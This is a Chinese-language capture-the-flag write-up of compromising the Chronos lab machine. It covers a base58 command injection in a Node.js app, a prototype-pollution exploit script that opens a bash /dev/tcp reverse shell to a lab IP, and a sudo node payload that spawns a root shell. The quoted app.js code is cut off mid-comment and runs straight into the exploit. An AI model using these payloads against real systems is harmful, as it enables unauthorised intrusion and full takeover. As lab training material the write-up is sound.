    这样的困境在真实的渗透测试过程中都会遇到,当自己惯用的方法针对当前系统无效时,必须要寻找新的出路

    如何寻找新的出路呢?

    最重要的无外乎就是在目标系统上进行大量的信息收集,渗透测试的经验越丰富越发现,信息收集其实才是渗透测试过程中最最关键的环节,当把目标系统上的信息尽量完整的收集到之后,自然而然就会产生很多的漏洞利用攻击思路或手段

    思路来源于大量的,完善的信息收集

    通过在目标靶机上进行了大量的信息收集,查看系统文件目录等,经过一番折腾之后最终发现在web应用的根目录即/opt/chronos存在突破点

    /opt/chronos下存放着web应用服务端的代码

    但是这个web应用服务端程序是通过Node.js使用JavaScript语言来开发的

    作为渗透测试者经常会面对这样的情况,遇到自己压根不熟悉的技术;这个时候就要求我们具备快速的学习能力,利用最短的时间上网搜索,吸收知识,了解这种技术最核心,本质的实现原理

    经过一天左右的搜索,最终发现存在于目标靶机上Node.js的漏洞,并利用这个漏洞成功的进行了提权

    Node.js最初由个人开发,现在交于Node.js基金会来进行维护

    简单的说 Node.js 就是运行在服务端的 JavaScript。

    Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。

    Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

    基于Node.js开发应用程序通常都会基于已有的框架和库,例如Socket.ioExpressAxios,而针对web应用开发的话最常用的就是Express

    尝试对目标靶机的web应用进行代码审计

    每个基于Node.js开发项目的根目录下面,一般都有一个package.json文件,定义了这个项目所需要的各种模块,以及项目的配置信息(比如名称、版本、许可证等元数据)。npm install命令根据这个配置文件,自动下载所需的模块,也就是配置项目所需的运行和开发环境。

    参考链接:package.json文件 -- JavaScript 标准参考教程(alpha) (ruanyifeng.com)

    查看package.json文件内容

    果然这个web应用使用的是Express框架来开发的,于是就从网上进行了大量的搜索,搜索Express框架是否存在已知的漏洞,一无所获

    继续查看web应用后端主文件app.js内容

    // created by alienum for Penetration Testing // 加载用到的库 const express = require('express'); const { exec } = require("child_process"); const bs58 = require('bs58'); const app = express(); // web应用运行在8000端口,与nmap扫描结果相印证 const port = 8000; const cors = require('cors'); app.use(cors()); // 路由的配置 app.get('/', (req,res) =>{ res.sendFile("/var/www/html/index.html"); }); // 路由的配置 app.get('/date', (req, res) => { var agent = req.headers['user-agent']; // Linux date命令 var cmd = 'date '; // 提取请求url中的format查询参数的值 const format = req.query.format; // 进行base58解码 const bytes = bs58.decode(format); var decoded = bytes.toString(); // 拼接完整date命令 var concat = cmd.concat(decoded); // 到这里发现从客户端提交上来的数据没有进行任何的消毒,过滤,直接进行了拼接,也验证了命令注入漏洞的原理 // 如果p6.is:7777', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")}) # execute command # p6.is:7777是要攻击的web应用的服务地址和端口 requests.get('p6.is:7777')

    将其中的地址和端口改成正确的

    import requests cmd = 'bash -c "bash -i &> /dev/tcp/10.0.2.7/4444 0>&1"' # pollute requests.post('127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")}) # execute command requests.get('127.0.0.1:8080')

    首先在kali上创建这个文件,保存为exp.py

    由于web应用监听的是127.0.0.1:8080,所以在kali上启动http服务将这个文件传输到目标靶机上,在目标靶机上利用wget下载文件

    在kali端侦听4444端口

    在目标靶机上执行exp.py

    03版本打靶活动,大家一起来吗?

    成功在kali上获得到了反弹shell,长长的出了口气

    提权获取的账号是imera,而在之前的信息收集中又发现在这个用户目录下存在一个类似flag的文件user.txt

    看起来一定是flag的内容了

    0x0b sudo+Node.js提权

    根据靶机作者的描述在root用户目录下还存放着一个flag文件,尝试进入root用户目录查看文件类型

    发现没有权限,不得不面临着第二次的提权

    尝试使用sudo提权

    发现有可乘之机,框框中的两行表示在不需要密码的情况下就能以root权限运行npmnode这两个命令

    通过网上搜索,寻找到了这么一段Payloads

    # 通过调用node生成一个子进程,而在这个子进程中执行的就是/bin/bash sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'

    可喜可贺,取得了root权限的shell

    查看flag文件

    收获到root账号下的flag,本次打靶圆满完成!

    0x0c 总结
    • 打靶过程图片概述

      ![靶机+03](一起来打靶 03.assets/靶机+03.png)

    • 打靶过程文字概述

      1. 先做了主机发现、端口扫描、应用发现等基本操作

      2. web页面源码中发现了个奇怪的域名,通过hosts文件绑定域名和IP之后,发现了页面中的某些变化

      3. 通过对url中参数值进行base58解码分析,得到了一个命令注入漏洞,通过构造Payloads并进行base58编码后,成功利用这个命令注入漏洞获取了一个基础的nc反弹shell

      4. 在这台靶机上收获flag以及提权的过程中遇到了很多的困难,最终通过代码审计+搜索大法找到了web应用使用到的一个模块的漏洞,成功提权

        最近这些年在互联网上爆出了很多很多的漏洞,其中相当大比例都是开源的框架上的漏洞;现在绝大多数的系统都是基于现成的框架/CMS/模块开发出来,所以若一个框架/CMS/模块在世界上的应用很广泛,一旦这个框架/CMS/模块出现问题,那么受到攻击威胁的服务器也会非常多

      5. 再次通过sudo提权,拿到了root权限的shell

    • 打靶过程对应的视频链接:点击查看